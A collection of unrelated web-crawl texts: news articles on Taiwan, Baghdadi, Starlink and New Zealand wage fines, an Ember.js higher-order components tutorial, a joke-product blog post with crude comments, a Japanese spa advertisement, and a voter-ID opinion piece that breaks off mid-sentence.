United States or (801) 269-7012 Internationally. ### Caldera is a registered trademark; and Network Desktop, Caldera Internet Office Suite, Caldera Solutions CD, and Caldera Open Linux are trademarks of Caldera, Inc. UNIX is a registered trademark, in the United States and other countries, licensed exclusively through X/Open Company Limited. X/Open is a registered trademark of X/Open Company Limited. Caldera Press Contact: Lyle Ball, Senior Manager, Public Relations lyle.b...@caldera.com, tel: [redacted]	{ "pile_set_name": "OpenWebText2" }
In this file image made from video taken Oct. 31, 2018, the American Institute in Taiwan Director Brent Christensen speaks during a press conference in Taipei, Taiwan. (AP Photo) TAIPEI, Taiwan (AP) -- The top U.S. representative in Taiwan says Washington is working with it to combat efforts by Beijing to influence upcoming elections on the island. The U.S. is "aware that China is attempting to apply pressure through various means on Taiwan ... to influence Taiwan's democratic process," Brent Christensen told reporters on Friday. "We believe that malign actors are using disinformation campaigns to make people lose faith in democratic institutions," said Christensen, who serves as the de facto U.S. ambassador to Taipei. The U.S. and Taiwan have been "working very closely to combat these disinformation efforts" by sharing information and experience and mobilizing civil society, he said. Independence-leaning President Tsai Ing-wen is seeking a second term in the Jan. 11 vote for head of state and lawmakers. China is believed to strongly favor Tsai's main opponent in the race, Han Kuo-yu of the Beijing-friendly Nationalist Party. Self-governing Taiwan split from China in 1949 and transitioned to full democracy in the 1990s. China claims the island as its own territory, which it threatens to annex by military force, and opposes all official contact between the U.S. and the island. Despite the lack of formal diplomatic relations, the U.S. is legally bound to ensure the island can defend itself and to treat all threats to it as matters of "grave concern." Christensen's remarks came days after Tsai told reporters that China's Communist leaders were "using every means they can" to interfere in the election campaign. China's previous efforts to influence Taiwan's democracy have yielded mixed results and could become a liability for Han, who in March met with Chinese officials on a visit to China, Macao and Hong Kong and has struggled to shake accusations of collusion with Beijing. Han held an early lead in public opinion surveys but has trailed Tsai, often by several percentage points, since June. Several of the National candidates for at-large seats in the legislature -- those that are distributed according to the party's proportion of the popular vote -- also have strong China connections and have spoken in favor of unification with China. One, retired Lt. Gen. Wu Sz-huai, has been heavily criticized for leading a delegation of retired officers to a ceremony held at Beijing's Great Hall of the People, at which he stood for the Chinese national anthem and listened to an address by President and Communist Party leader Xi Jinping. Wu was also a leader of a pro-China group that staged violent protests outside the legislature last year, at one point invading a nearby children's hospital. Those protests were ostensibly sparked by plans to reduce pension benefits for retired officers and other public servants that had been criticized for being overly generous. Some accused China of spreading misinformation exaggerating the size and impact of the cuts. Election interference would be a continuation of Beijing's unrelenting campaign to undermine Tsai's pro-independence Democratic Progressive Party government through increasing diplomatic, military and economic pressure. That has included wooing away Taiwan's remaining handful of diplomatic allies and barring its participation in international gatherings, in a campaign to demoralize and isolate the island. A total of seven countries have switched recognition to China since Tsai was elected in 1996, leaving just 15 nations that maintain formal ties with Taiwan. China has also stepped up its military threat through words and deeds. The sailing of China's Type 001A aircraft carrier and accompanying ships through the Taiwan Strait on Sunday was viewed by some as its latest display of saber rattling.	{ "pile_set_name": "OpenWebText2" }
William Gay understands. He knows the pain is real. He knows often it's a silent pain, one many are afraid to talk about, while for others, they never have the opportunity. What Gay also understands, is all of that has to change. And he will do anything he can to make it happen. Gay is one of the NFL's biggest advocates against domestic violence, because for him, it's personal. He lost his mother, Carolyn Hall, to the horror that is domestic violence, and he doesn't want others to have that same pain. He is taking the next step towards that after being named to the Biden Foundation Advisory Council focused on ending domestic violence and sexual assault against women. Gay will join former Vice President Joe Biden and other prominent leaders on Feb. 9 at the Association of Fraternal Leadership & Values Central 2018 in Indianapolis. "It was big just reading the letter asking me to do this," said Gay. "I read the name and saw it was from Joe Biden, the Vice President, and thought you are sending this to the wrong person. I got the letter during the playoffs and couldn't focus on it, but after the season I told the NFL I was interested in being a part of it." At the Leadership and Values seminar the group will discuss a commitment to empowering men and women to stop campus sexual assault to over 3,000 fraternity and sorority leaders from close to 250 college campuses. "This is big," said Gay. "I have never talked to college students like this. This is important because this is when kids are transitioning into adulthood. If you want to eliminate the problem, Joe Biden believes this is where the source is. It makes sense. This is when you are leading into adulthood." In 2014 Vice President Biden launched the It's On Us campaign, focused on ending sexual assault on college campuses, where it is more common than many realize, or want to acknowledge. "It's not just one person, it's everybody putting their hand in the pile," said Gay. "In football we all have our hand in the pile to make the Steelers organization work. You take that whole aspect to make one common goal work, and make it work towards something that is devastating in our world and together we will make it work." Gay's story is one we have all become familiar with, but it's one that needs to remain in the spotlight. Gay's life was turned upside down at an age when life is supposed to be about playing sports and video games and eating junk food. In short, being a kid. He was 8 years old, and he was living in a rather traditional American home, with his mother, Carolyn Hall, his stepfather Vernon Bryant, and stepbrothers Unrikay Hall, 17, and Verterris Bryant, 4. Through William Gay's 8-year-old eyes, everything was normal. What he didn't know was that things were far from perfect at home. His mother and stepfather were having problems, and they were problems serious enough to have Carolyn interested in pursuing some type of separation. One day, Carolyn dropped off Unrikay, William and Verterris at her mother's home. While Corine Hall was watching the boys for her daughter, Carolyn then went to visit a friend. William ran off to play, watch television and just hang out. In the meantime, Vernon Bryant had been following Carolyn, and when she arrived at her friend's house, husband and wife got into an argument, one that escalated to the degree that Vernon pulled a gun and shot Carolyn Hall three times. With that, 8-year-old William Gay was left without a mother, and when Vernon Bryant subsequently took his own life to complete this tragic murder-suicide, he was left without much of anything. "I think my mom would be proud I am doing this," said Gay. "I am proud that her story is living on because I get to keep telling it. I will be able to share that with 3,000 students. This is why I wanted to do it, to keep her name alive and help someone in her situation.	{ "pile_set_name": "OpenWebText2" }
(Online Interactions Not Rated by the ESRB) This game supports English, French, Italian, German, and Spanish. Download the manual for this game by locating the game on http://marketplace.xbox.com and selecting “See Game Manual". Join the 3rd Street Saints in their battle for control of Stilwater in the 1st urban open world game for the Xbox 360! Offering extensive character customization, 13 unique pick up activities, 4 story lines, and a sprawling city that's unlocked from the start, Saints Row is the next evolutionary step in open world gaming. There are no refunds for this item. For more information, see www.xbox.com/live/accounts.	{ "pile_set_name": "OpenWebText2" }
« Phyllis Chen plays Kalimba for Toy Piano by Karlheinz Essl \| Home \| World's smallest radio consists of 1 carbon nanotube — listen to it play 'Layla' » February 27, 2009 Poopy-Time Fun Shapes "It's about to get Poopy!™" "Make bathroom time fun time again with the original SafeGlide adapter and Poopy-Time shapes!" [via Ashley Simko and John Sibley's For Your Entertainment] February 27, 2009 at 09:01 AM \| Permalink TrackBack TrackBack URL for this entry: https://www.typepad.com/services/trackback/6a00d8341c5dea53ef0111689b8529970c Listed below are links to weblogs that reference Poopy-Time Fun Shapes: Comments I perfected the art of making my poop into different shapes by long & difficult practice but I now think it was time well spent as look at the price of them things & if they are not dishwasher safe, well, goodness me, if you do decide to go au natural I would like to suggest you dont start after an Indian , especially vindaloo. Posted by: S. Tool. \| Feb 2, 2010 9:51:09 AM poopy timesssss yeeay!! Posted by: nick \| Dec 16, 2009 9:37:29 PM heart,stars...what's next rainbows, clovers and blue moons! haha Posted by: ponyooooo \| Aug 17, 2009 2:15:51 AM Its upto you to experiment with different textures, ive found that corn makes the stars come out really fancy looking.. Posted by: homerdk \| Aug 1, 2009 3:02:33 AM sicko-.- Posted by: vera \| Jul 14, 2009 1:06:58 PM I was at a local flea market this morning stocking up on local everclear that the farmers can 'find' if you ask the right guy and I saw a chinese version of this product. A little disturbing...made of an aluminum cone and plastic attachments, I was told it was easier to clean. I slit my thumb on the insertation edge, and had to pour some of my ill-gotten hooch on the finger because, honestly, the guy couldn't tell me if it had been used previously and I wasn't going to take and chances... Pretty much why I only buy American and if you put anything up your children's butts, it better be American because you don't want to get a staph infection when your kid leaves their toys lying around... Posted by: clifyt \| Apr 11, 2009 2:36:15 PM I know this is the internet, but this is also humanity we are talking about, so I ask with the sincerest concern, if this product actually exists. Please, by the Emperor's Golden Throne, please may the answer be no. Posted by: FGSFDS \| Apr 11, 2009 1:56:16 PM I CAN SEE THEM Posted by: THE PIXELS \| Apr 11, 2009 7:06:33 AM this makes me want to have icecream yeahyeah Posted by: krabbesundae \| Mar 11, 2009 3:46:42 AM people like this need to be snuffed out Posted by: wanda \| Mar 10, 2009 10:49:46 PM fun with poop, NICE! i'm looking for the "gold" She-nis myself. Poo poo pe doo xo Posted by: spunkPunk \| Mar 9, 2009 6:19:25 AM Of course it's fake. Hello, the 'inside' part's the wrong shape to stay in place. (Sorry, no links this time) Posted by: Rocketboy \| Mar 2, 2009 11:44:28 AM I can assure everyone that, although this particular example is a Photoshop job and not real, these things DO exist. I bought one as a joke present for a friend of mine with copraphobia once. Best present ever. Posted by: Rich B \| Mar 2, 2009 11:15:21 AM This is obviously fake and photoshopped. Notice that not one person can bring up the original source of this ad. Nor can anyone find the actual product anywhere in existence. Posted by: david \| Mar 1, 2009 10:07:40 PM Time to call social services... Posted by: caroline \| Mar 1, 2009 11:53:14 AM Oh god, this is another idiot detector post isn't it? My prediction, we will see the longevity here just like with the CIA for kids post. Posted by: Rocketboy \| Mar 1, 2009 10:28:13 AM OK, let's make it 21 and go for a record. I completely agree with mj and Zenonworks. I was amazed by the quantity, and amused by the seeming obtuseness of some of the commenters. Yesterday, I could think of nothing to say that did justice to the comic genius that only a parent, having gone through potty training, could fully appreciate. Dark, sick and oh, so funny! Posted by: Tamra \| Mar 1, 2009 1:30:59 AM was amazed twice by this blog; one that it incurred more comments than any of your medical, science,art,etc. ones...second the lack of an expert opinion on the subject by "clifty"! Posted by: mj \| Feb 28, 2009 11:38:33 AM It's hilarious to see commenters shame themselves by taking this seriously. You'd have to have zero common sense to not see this as a joke. Posted by: ZenonWorks \| Feb 28, 2009 7:21:08 AM only February and half of my Christmas shopping is done. Nothing I can think of quite expresses my sentiments for some people, like giving them a "creative outlet." I hope they come in XXLarge. I know some really "creative" people. Posted by: \| Feb 28, 2009 7:03:59 AM ...ummmmmmm Posted by: okinawa \| Feb 28, 2009 3:24:49 AM What about the elderly? Poopy-Time Fun Shits Posted by: zhi67 \| Feb 28, 2009 2:07:21 AM Unless it's something to let your kids do themselves I call this pedophilic and criminal if performed on a child that in noway would be pleased or enjoy the insertion. It's sick/perverted to the highest level. On the barest positive note, it sounds like a joke made on SouthPark by Mr. Hankey the Christmas Poo and an additional shape of greenclovers for a lucky poo. Posted by: guest \| Feb 28, 2009 1:12:04 AM Stylesheet broken?? Posted by: J \| Feb 28, 2009 12:01:47 AM LOL, WTF is right dude! RT www.be-anonymous.us.tc Posted by: JOhn Woods \| Feb 27, 2009 10:18:27 PM Also great for making Poopsicles! Posted by: Jay \| Feb 27, 2009 10:18:21 PM poopy time fun snacks Posted by: hungry \| Feb 27, 2009 8:06:09 PM On the up-side, it will probably mitigate the pyschological damage of sleepovers at Uncle Roger's! Posted by: tbscotty68 \| Feb 27, 2009 7:21:06 PM WTF? I survived '2 girls 1 cup' and 'spinning' and I am still unable to fathom all the ways this product is WRONG! Posted by: Daniel \| Feb 27, 2009 6:29:40 PM That's digustipating! Posted by: Rob O. \| Feb 27, 2009 6:00:00 PM this is horrible...shove sumthin up ur kid's ass so they can shit magical shapes? it better change the color, make it smell like roses, and turn it into magic ponies if you're shoving it up anyone's ass.... Posted by: dirty \| Feb 27, 2009 5:42:41 PM Shit in a star shape? That's just wack! Posted by: Torley \| Feb 27, 2009 5:01:39 PM but are they dishwasher safe? Posted by: poopyTom \| Feb 27, 2009 4:52:15 PM Rock!!! cool!! I want a whole box (I am a kindergarten teacher) Posted by: pony \| Feb 27, 2009 2:41:22 PM And kids -- Don't forget to ask Mom to freeze 'em for you! Coming Soon: "Poopy-Time Paint Kit" for ages 3 and under! Posted by: Flautist \| Feb 27, 2009 11:01:30 AM Oh my God, where do you stick these things? What is that brown stuff? And you give these to kids?????? I know a few former bosses that need a dozen. Posted by: Virginia \| Feb 27, 2009 10:16:47 AM The comments to this entry are closed.	{ "pile_set_name": "OpenWebText2" }
'Hamilton' Alum Anthony Ramos to Star in 'In the Heights' Movie 'Crazy Rich Asians' filmmaker Jon M. Chu is set to direct. Anthony Ramos, who starred in Lin-Manuel Miranda's Broadway hit Hamilton, is in talks to star in the movie adaptation of Miranda's other Tony winner, In the Heights. Set in New York's Washington Heights, the story centers on a bodega owner who has mixed feelings about closing his store and retiring to the Dominican Republic after inheriting his grandmother's fortune. In 2008, In the Heights won the Tony Award for best musical. Crazy Rich Asians filmmaker Jon M. Chu is set to direct the movie with Miranda producing, along with Anthony Bregman, Mara Jacobs and Scott Sanders. Warner Bros. is behind the project after picking up the rights to the musical in May after it was released by The Weinstein Co. as it was readying for bankruptcy. While Ramos is best known for his work on the stage, playing the dual roles of John Laurens and Philip in Hamilton, the actor has been picking up a lot of high-profile screen credits. He currently can be seen acting opposite Lady Gaga in A Star Is Born and plays a lead in the Sundance standout Monsters and Men, which is also in theaters. Ramos, who is repped by CAA, Door 24 and Loeb & Loeb, will next be seen in Godzilla: King of the Monsters.	{ "pile_set_name": "OpenWebText2" }
One of the most powerful patterns in programming is the idea of higher-order functions: functions which can take other functions as arguments or return them as their return values. If you’ve spent much time at all working in JavaScript, you’ve certainly encountered these—whether you’re using Array.map to transform the values in an array, or passing a function as an argument to an event handler. The same pattern is incredibly useful in building components, and most modern front-end frameworks support it—including Ember.js! (In React, the pattern as a whole is often known as the renderProps pattern, for the way you most often accomplish it. It’s all the same idea, though!) In this little post, I’ll show you how to build a small “higher-order component” in Ember.js, hopefully demystifying that term a little bit a long the way. (If you just want to see how the pieces fit together, you can see the finished app in this repo.) I’m going to be using classes and decorators throughout. Both are very much ready-to-go in Ember, and I commend them to you! I’m also going to be using some of the new optional features available in Ember 3.1+ to use template-only components! Note that one of the most important consequences of this is that arguments have to be referenced as @theArgumentName rather than just theArgumentName in templates. The reason is precisely that there is no backing JavaScript component. In old-school Ember.js components, {{theArgumentName}} is implicitly turned into {{this.argumentName}} , which does a lookup on the backing component. In Glimmer-style components—of which these are the first part—arguments live on a designated args property and are accessible in templates via @theArgumentName instead. Higher-Order Components, What Are They Just like with a “higher-order function,” all we mean when we talk about a “higher-order component” is a component which takes other components as arguments, returns other components itself (in Ember’s case via yield in a template), or both. The thing we’re actually going to build here is a “modal” which accepts an optional button as an arguments, and which yields out a component for dividing the modal into sections visually so you can pass your own content in and have it look just right. This is closely based on a component my colleagues and I at Olo built recently, just with some of our specific details stripped away to get at the actually important bits. Here’s what it looks like in practice: a modal with sectioned text and a close button The goal for the button arguments is to let the modal be able to render the button the caller passes in, while not being concerned with the functionality of the button. Otherwise, we’d have to tie the “API” of the modal to the details of button behavior, bind more actions into it, etc. The goal for the yielded sectioning component is for whatever is rendering the modal itself to be able to pass content in and get it chunked up however the modal decides is appropriate—the modal can display its own styles, etc.—without having to worry about the details of applying classes or sectioning up the content itself. In short, we want to separate our concerns: the modal knows how to lay out its contents and where to put buttons, but it doesn’t want to have to know anything about what the buttons do. The most complicated interaction in the world could be going on, and the modal won’t have to care. Likewise, things using the modal can pass content and buttons into it, and let the modal manage its own layout and so on without having to be concerned with the details of that. So what does that look like in practice? The approach I use here builds on the “contextual components” pattern in Ember.js. The main new idea is that the context includes components! Implementing It We have three components here: a button a modal a modal section Since Ember.js still (for now!) requires component names to be at least two words separated by a dash, we’ll just call these x-button , x-modal , and x-modal-section . x-button The button component, we’ll keep pretty simple: it’s just a button element with a given label and an action bound to it: <button class={{@buttonClass}} type='button' {{action @onClick}}> {{@label}} </button> x-modal The x-modal has the meat of the implementation. <div class='modal-backdrop'></div> <div class='modal'> <div class='modal-content'> {{yield (hash section=(component 'x-modal-section'))}} </div> {{#if @button}} {{component @button buttonClass='modal-button'}} {{/if}} </div> The two things two notice here are the yield and the component . The yield statement yields a hash with one property: section . Yielding a hash is a convenient pattern in general. Here, we’re doing it to make the API nicer for users of this component. It means that if we name the yielded value \|modal\| when we invoke this, we’ll be able to write modal.section to name this particular yielded item. (You’ll see exactly this below.) We use the component helper twice: once as the value of the section key in the yielded hash, and once for the button below. In both cases, the helper does the same thing: invokes a component! While the most common way to render a component is with its name, inline—like {{x-modal}} —you can always render it with the component helper and the name as a string: {{component 'x-modal'}} . This lets you render different components dynamically! Let’s remember our initial analogy: the same way you can pass different functions to a higher-order function like Array.prototype.map , you can pass different components to a higher-order component like our x-modal here. And just like you can return a function from a higher-order function, we can yield a component from a higher-order component. Just like higher-order functions, the function passed in or returned just has to have the right shape. For example, the argument to Array.prototype.map needs to be a function which performs an operation on a single item in the array (and maybe also the index) and hands back the result of that operation. Similarly, the button argument to our x-modal needs to accept a buttonClass component so that the modal can apply some styling to it. The same thing holds for the component being yielded back out: it has an API you should use to invoke it, just like any other. All of this gets at something really important: you can think of components as just being pure functions: they take some input in the form of arguments, and give you the output of what they render and what they yield—and they always give you the same rendered HTML and the same yielded values for the same inputs. They’re just functions! x-modal-section The x-modal-section component is the simplest of all of these: it has no behavior, just some styling to actually chunk up the content: <div class='modal-section'> {{yield}} </div> Application controller and template Now, let’s use in the context of the application template, where we can see how the pieces all fit together. First, let’s see the application controller backing it—nothing unusual here, just a simple toggle to show or hide the modal. import Controller from "@ember/controller"; import { action } from "@ember-decorators/object"; export default class Application extends Controller { constructor() { super(...arguments); this.showModal = false; } @action showIt() { this.set("showModal", true); } @action hideIt() { this.set("showModal", false); } } Now for the interesting bit—the template where we invoke x-modal and use its higher-order-component functionality: {{#if showModal}} {{#x-modal button=(component 'x-button' label='Close modal!' onClick=(action 'hideIt') ) as \|modal\| }} {{#modal.section}} Here is some content! {{/modal.section}} {{#modal.section}} Here is some other content. {{/modal.section}} {{#modal.section}} <p>The content can have its own sections, as you'd expect!</p> <p>Nothing crazy going on here. Just a normal template!</p> {{/modal.section}} {{/x-modal}} {{/if}} <button class='button' {{action 'showIt'}}>Show modal</button> <!-- some other content on the page --> We invoke the block form of x-modal just like we would any block component, and we get back the thing it yields with as \|modal\| . However, one of the arguments we pass to it is a component. But modal is a hash (an object!) with a property named section , which is the x-modal-section component. Again, you can think of this like calling a function with one function as an argument and getting another function back as its return value—that returned function being something we could call over and over again once we had it. Here, we “call the function”—invoke the x-modal component—with component 'x-button' as its argument, and the returned modal.section is a component we can invoke like a normal component. We could even pass it into some other component itself if we so desired. And that’s really all there is to it!	{ "pile_set_name": "OpenWebText2" }
WASHINGTON (Reuters) - For President Donald Trump, the death of Islamic State leader Abu Bakr al-Baghdadi is a signature achievement that may help quell growing criticism from his own ranks, but it is unlikely to offer much relief from Democratic-led scrutiny of his dealings with Ukraine. U.S. President Donald Trump makes a statement at the White House following reports that U.S. forces attacked Islamic State leader Abu Bakr al-Baghdadi in northern Syria, in Washington, U.S., October 27, 2019. REUTERS/Joshua Roberts The raid could not have come at a better time for Trump, who is facing an impeachment investigation by Democrats in the U.S. House of Representatives who say his attempt to persuade Ukraine to investigate Democratic rival Joe Biden was an abuse of power and may have put national security at risk. He has also come under withering criticism from Republicans and Democrats alike for an abrupt decision to pull U.S. troops out of northeastern Syria, which cleared the way for a Turkish invasion against America’s Kurdish allies in the area. “I don’t think it alters the trajectory of our politics in any way necessarily, but without question, for the president it’s a huge win. There’s no other way to spin it,” said Lanhee Chen, a Hoover Institution scholar who advised Republican Marco Rubio’s presidential campaign in 2016 and Mitt Romney in 2012. Trump, who is up for re-election in November 2020, will be able to trumpet the successful raid on the campaign trail as another reason why he should not be thrown out of office, in addition to his tough stance on illegal immigration and his record on the economy. He could not help but tease the win in a typically grandiose fashion: “Something very big has just happened!” he tweeted on Saturday night, apparently only minutes after U.S. special forces had safely landed back at their base. Aware of the political capital suddenly at his disposal, Trump delivered the news on Sunday from the White House Diplomatic Reception Room standing before battle flags that had been brought from the Oval Office for the occasion. Trump offered vivid and sometimes grisly details about the raid and Baghdadi’s demise, which he claimed was “bigger” than the 2011 U.S. killing of al Qaeda leader Osama Bin Laden. Afterwards, the White House deployed top national security aides to the Sunday talk shows to discuss the raid and its importance for national security. Slideshow ( 2 images ) The news prompted an outpouring of praise from senior Republicans, including those such as close Trump ally Senator Lindsey Graham who had strongly criticized the president’s decision to withdraw from Syria. “This is a game changer,” Graham told reporters during a second briefing at the White House. “This is a moment where we should all be proud of our American military and our intelligence community. This is a moment where President Trump’s worst critics should say, ‘well done Mr. President.’” Senate majority leader Republican Mitch McConnell, who also strongly condemned the troop withdrawal, said on Sunday he applauded the news and was grateful “to President Trump and his team for their leadership.” Even Senator Mitt Romney, Trump’s fiercest Republican critic, took to Twitter to thank the President for sending Baghdadi to “hell.” SPEAKER BRIEFING The good news brought only a brief truce with Democrats who hope to beat Trump in 2020 if they cannot remove him from office via impeachment, however. Several senior Democrats, including Senator Jeanne Shaheen, a member of the Senate Foreign Relations committee, and Representative Hakeem Jeffries, Chairman of the House Democratic Caucus, congratulated Trump. But many were quick to point out that Baghdadi’s death did not put an end to Islamic State and that Trump had no strategy for the region. They also called out the president for breaking with tradition by failing to brief the full “Gang of Eight” Congressional leaders ahead of the raid. Trump pointedly said on Sunday that he did not tell House Speaker Nancy Pelosi, his chief Democratic rival who has played a leading role in the impeachment drama, about the plan because of concerns the information would leak and put American soldiers at risk. “The House must be briefed on this raid, which the Russians but not top congressional leadership were notified of in advance, and on the administration’s overall strategy in the region,” Pelosi said in a statement in which she praised the armed forces. The takedown of Baghdadi is unlikely to distract lawmakers from the impeachment probe, which has gained momentum following a number of damaging witness testimonies which Republicans are increasingly struggling to rebut. Speaking to reporters following a top U.S. diplomat’s closed-door testimony on Wednesday, John Thune, the Senate’s No. 2 Republican, said the picture emerging from the investigation was “not a good one,” a possible sign that Republican support for Trump might be faltering. “In years past you could see how this would pause the political rhetoric for at least a few days,” said the Hoover Institution’s Chen. “I don’t see that happening this time.”	{ "pile_set_name": "OpenWebText2" }
A pair of test satellites launched into orbit by SpaceX on Feb. 22 may herald the dawn of a truly global internet, one that makes high-speed service available not only in cities and in rural areas covered by cellphone towers but at almost any point on the planet. Dubbed Tintin A and Tintin B, the satellites are prototypes for SpaceX’s “Starlink” initiative, which aims to place thousands of satellites in low-Earth orbit to supply broadband internet to users on the ground — including people in remote areas and even aircraft in flight and ships at sea. “Don’t tell anyone, but the wifi password is ‘martians’,” SpaceX founder Elon Musk joked in a tweet as the satellites made their first orbits. In reality, WiFi gear can’t tune in to the high-frequency transmissions the satellites beam down; for now only a few SpaceX ground stations can communicate with them. But SpaceX sees a day when space-based internet services will cost about the same, and work at least as well as, similar services offered via telephone line or cable. So instead of buying an internet plan from a cellular network or a cable or phone company, you might buy a plan from SpaceX. Access from orbit SpaceX hasn’t said when its network could be ready. If Tintin A and Tintin B work as planned, the company could start launching a first wave of more than 4,000 Starlink satellites in 2019. It would likely take several years to launch the first 800 satellites that the company says are needed to make the network operational. A later phase calls for the launch of an additional 7,500 satellites for a total of more than 10,000 — a “constellation” of internet-connected satellites capable of providing broadband internet from space that is “truly competitive with terrestrial alternatives,” as SpaceX said in an FCC filing approved on Feb. 14. Get the mach newsletter. This site is protected by recaptcha Satellite internet services and satellite telephones already exist, of course. But they typically use satellites in geostationary orbit high above Earth’s equator. Geostationary satellites are costly to build and to place in orbit, and that makes them costly to use. The network envisioned by SpaceX will use cheaper satellites in low, fast-moving orbits. Each satellite will be able to “see” only a small part of the Earth’s surface at a time, but they will be able to relay data via other satellites in the network. Race into space SpaceX isn’t alone in the internet’s race into space. A satellite venture being developed by Arlington, Virginia-based OneWeb plans to offer broadband service from a network of satellites in low-Earth orbit, starting with access to remote parts of Alaska in 2019. A San Francisco startup, Astranis Space Technologies, is taking a more limited approach, beginning with a single internet-connected satellite in geostationary orbit. And Boeing, Facebook, and the satellite companies Viasat and Telesat all plan to extend the internet into space. Meanwhile, Alphabet — the company that owns Google and its experimental subsidiary X — has developed experimental high-altitude balloons that can relay internet connections over a wide area. “Project Loon” balloons are being used now in Puerto Rico to provide internet access in areas that are still reeling six months after Hurricane Maria devastated much of the island. Internet for all What do internet evangelists make of all the activity? “We are always excited to see new initiatives and innovations that aim to tackle our common goal of enabling universal, affordable internet access — and particularly those that aim to connect those in rural or other underserved communities," says Sonia Jorge, executive director of the Alliance for Affordable Internet, a group directed by the World Wide Web Foundation. But Jorge says the high cost of internet connections, even when advanced technology makes those connections possible, remains an obstacle to providing internet access for everyone on the planet. In parts of Africa, for example, 1 gigabyte of internet data can cost as much as 10 percent of the average annual salary, according to Jorge. “To be offline today is to be excluded,” she says. “There are nearly 4 billion unconnected people and, unfortunately, a great majority of these people are those that are already marginalized in offline spaces — women, the poor, and rural populations, mostly in low- and middle-income countries.” Lowering the cost of internet access will be a challenge for Starlink and other space-based initiatives, Jorge says, especially when it comes to connecting the planet’s “last billion” unconnected people. She says governments and companies must work together “to ensure that these last billion are able to afford access.” FOLLOW NBC NEWS MACH ON TWITTER, FACEBOOK, AND INSTAGRAM.	{ "pile_set_name": "OpenWebText2" }
メンズエステのコースの中にはリラックスのためのコースがとても人気となっています。ストレスの多い男性にとって、メンズエステでのリラックスコースは、明日の活力のためにも欠かせないと、定期的に受けている男性もいます。リラックスコースの中でも、リラクゼーションマッサージはとても人気があります。リラクゼーションとはリラックスした状態に導くための手段のことを言い、リラクゼーションマッサージは、マッサージによってリラックスに導く施術という意味なのです。つまりさまざまなマッサージ効果を期待するものではなく、リラックス状態になるための、マッサージ効果が期待できる施術です。実は人によっていろいろな効果があります。例えばリラクゼーションマッサージを受けて、心身共にすっきりして、不眠気味が改善し、ぐっすり眠れるようになったり、また何かの問題にぶつかっていた男性にとっては、ゆっくりした気分になって、良いアイデアが浮かび問題を乗り越えることが出来たという人もいます。もちろんリラクゼーションマッサージを受けたら食欲が出るようになったり、とにかく眠くなったり、前向きな気持になれるなど、いろいろな変化が得られるのです。他にも鬱的な精神的状態が安定するという変化も期待できます。他にも免疫力が高まりアレルギーが緩和されたり、便秘が改善されたり、風邪引きにくくなるなど、定期的にリラクゼーションマッサージを続けることで、大きな健康効果も期待できるのです。男性の安らぎにメンズエステ関連情報...メンズエステ五反田 … https://mens-esute.jp/	{ "pile_set_name": "OpenWebText2" }
A number of Republican Party officials and Trump advisers are studying a trend that has received scant national media coverage but could pose a jarring dilemma for the president: Will Trump have to choose between releasing his tax returns and having his name on the ballot in some blue states for the 2020 election? Driving the news: Illinois' state senate recently passed a bill that would require people running for president or vice president to disclose their tax returns from the past five years. The big picture: Illinois is not alone. Per the National Conference of State Legislatures... "As of February 20, 2017 legislators in 18 states (Arizona, California, Connecticut, Hawaii, Illinois, Iowa, Kansas, Maryland, Minnesota, New Jersey, New Mexico, New York, Oregon, Pennsylvania, Rhode Island, Tennessee, Vermont and Virginia) have introduced bills" to require "future presidential candidates to disclose income tax returns in order to be placed on the general election ballot." The bottom line: None of these bills have been signed into law (yet). But it seems possible — even likely — that at least one blue state might put it in place. And that potential scenario is giving Trump allies pause. Our thought bubble: Given Trump's determination so far to keep his taxes hidden, it's not crazy to imagine that he'd rather not be on the ballot in a state he's certain to lose than turn over his taxes.	{ "pile_set_name": "OpenWebText2" }
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I don't have an issue with vanilla cake, but i'm going to be up in your face if you're going to knock on my chocolate cake and tell me i've got to have vanilla, because that's my cake, and we're going to fight" 61,139 shares	{ "pile_set_name": "OpenWebText2" }
STUCK in a traffic jam on the road home after an Easter break, the motorist has time to ponder many things. One may be the pain felt filling up the car for the return journey. Petrol prices have risen as the oil price has increased. But the driver's pain at the pump differs across countries, dependent in part on the proportion of the cost that is paid in taxes. Turks have the most reason to feel aggrieved, closely followed by the British. Americans still enjoy relatively cheap fuel—they pay far less in tax than drivers elsewhere. AFP	{ "pile_set_name": "OpenWebText2" }
Two Hamilton car companies have been handed down fines for a raft of breaches including not paying the minimum wage to staff (file photo). Two Hamilton car companies that failed to pay employees minimum wage have been fined over $65,000 in penalties. A Labour Inspectorate investigation revealed Direct Auto Importers Ltd and Cheap Deals on Wheels Ltd also failed to pay minimum wage, correct holiday pay, provide employment agreements, or keep records of employment. The sole director and shareholder of both businesses, Vishaal Sharma, claimed that the employees were contractors and denied he owed them their minimum entitlements – a claim thoroughly refuted by both the Inspectorate and the ERA. "An employer cannot avoid their obligations by simply calling their employees 'contractors', and any attempts to do so will not be tolerated by the Inspectorate," Labour Inspectorate regional manager Loua Ward said in statement. READ MORE: * Report reveals car yard's dodgy deals * Matthew Ridge's car wash exploited migrant workers * ERA fines South Auckland employers for paying $4 an hour "All employees in New Zealand must be provided with written employment agreements and their minimum employment entitlements, such as the minimum wage and holiday pay. If an employer cannot meet these basic obligations, then they should not be an employer. "Direct Auto Importers (NZ) was already taken to the ERA last year by an employee who successfully claimed $17,996 in arrears, so this employer should've known their obligations. "The onus is on employers to correctly provide their employees with all their minimum entitlements - ignorance is not an acceptable excuse." Direct Auto Importers (NZ) Ltd was penalised $50,000 for not paying their three employees' holiday pay, providing written employment agreements, or keeping wage, time holiday or leave records, with a further $726 in arrears to be paid to two staff members for holiday pay owed and working on public holidays. Cheap Deals on Wheels Ltd was penalised $15,000 for a similar set of breaches. The ERA set aside $10,000 in penalties to be provided to three of the former employees of the businesses.	{ "pile_set_name": "OpenWebText2" }
This story makes me sick. All across this country, Americans citizens are having their right to vote threatened or taken away. One of the most basic rights in a representative democracy is being stripped from low-income citizens and young people in almost every state by new legislation requiring voters to bring state-issued identification to the polls with them. A few states have already passed this kind of law. After the last election, many more are following their lead. My own state of Minnesota is one of the followers. This may not seem like such a big deal at first. Hell, it may even sound like a good idea at first. Especially if you already have your driver’s license. There are a few things to consider, however. In the 2010 elections, the GOP made huge gains not just on the federal level, but also in state and local governments. These new requirements are coming mainly from states where the GOP is in strong control, like Minnesota. The new ID-check before voting would prevent millions of legal citizens from casting their ballots, because they do not have a state-issued ID. Could they go get one? Sure, if they have their birth certificate, social security card, and somewhere around 20 bucks (in Minnesota) to go get one. It’s hard enough to encourage the apathetic citizens who don’t think their vote makes a difference. Who is going to want to go through that kind of hassle just to cast a vote? Low-income families would most likely opt to spend that 20 dollars to put more food on the table, instead of worrying about an election. Consider the groups of people this would mostly effect. Low-income families, 